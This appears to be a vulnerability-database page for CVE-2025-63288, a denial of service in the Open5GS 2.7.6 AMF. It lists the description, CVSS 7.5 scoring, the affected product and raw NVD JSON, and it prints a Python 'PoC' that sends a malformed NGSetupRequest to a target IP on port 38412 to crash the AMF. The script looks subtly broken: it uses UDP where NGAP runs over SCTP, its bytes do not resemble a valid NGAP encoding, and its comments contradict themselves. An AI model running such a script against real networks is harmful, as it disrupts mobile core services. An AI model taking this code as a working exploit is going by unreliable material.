Security Vulnerability Report
中文
CVE-2025-63288 CVSS 7.5 HIGH

CVE-2025-63288

Published: 2025-11-10 19:15:57
Last Modified: 2025-12-11 23:30:00

Description

In Open5GS 2.7.6, AMF crashes when receiving an abnormal NGSetupRequest message, resulting in denial of service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:open5gs:open5gs:2.7.6:*:*:*:*:*:*:* - VULNERABLE
Open5GS 2.7.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-63288 PoC - Open5GS AMF Denial of Service This PoC demonstrates the vulnerability by sending a malformed NGSetupRequest message to trigger a crash in Open5GS AMF component. Note: This code is for educational and authorized security testing purposes only. """ import socket import struct import sys def create_ngap_header(procedure_code, pdu_type): """Create NGAP header for NGSetupRequest""" ngap_pdu = bytes([ 0x00, 0x0f, # NGAP PDU: initiatingMessage 0x00, procedure_code, # procedureCode: ngSetup (15) 0x00, 0x01, # criticality: reject 0x00, pdu_type, # procedureCode: ngSetupRequest (21) 0x00, 0x02 # criticality: reject ]) return ngap_pdu def create_malformed_ngsetup_request(): """ Create a malformed NGSetupRequest message that triggers the vulnerability The vulnerability exists when AMF processes abnormal NGSetupRequest messages """ # NGAP Header header = create_ngap_header(0x0f, 0x15) # Malformed IE (Information Element) with missing required fields # This triggers the vulnerability due to improper error handling malformed_ies = bytes([ 0x00, 0x00, 0x40, 0x01, # Global gNB ID 0x00, 0x00, 0x40, 0x02, # gNB Name (optional, malformed) 0x00, 0x00, 0x40, 0x03, # Supported TA List (malformed) 0x00, 0x00, 0x00, 0x00, # Paging DRX (invalid) ]) return header + malformed_ies def exploit(target_ip, target_port=38412): """ Send malformed NGSetupRequest to trigger DoS """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Creating malformed NGSetupRequest...") payload = create_malformed_ngsetup_request() try: print(f"[*] Sending malicious payload...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Send malformed NGSetupRequest sock.sendto(payload, (target_ip, target_port)) print(f"[+] Payload sent successfully") print(f"[*] The malformed message should trigger AMF crash") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 38412 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63288", "sourceIdentifier": "[email protected]", "published": "2025-11-10T19:15:57.490", "lastModified": "2025-12-11T23:30:00.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Open5GS 2.7.6, AMF crashes when receiving an abnormal NGSetupRequest message, resulting in denial of service."}, {"lang": "es", "value": "En Open5GS 2.7.6, el AMF falla al recibir un mensaje NGSetupRequest anómalo, resultando en denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open5gs:open5gs:2.7.6:*:*:*:*:*:*:*", "matchCriteriaId": "24CAE39B-3444-4255-AF36-12AD680CFED3"}]}]}], "references": [{"url": "https://github.com/open5gs/open5gs/commit/be765fe2b03e350836272eee5afb3931bdfb86d5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/open5gs/open5gs/issues/4087", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}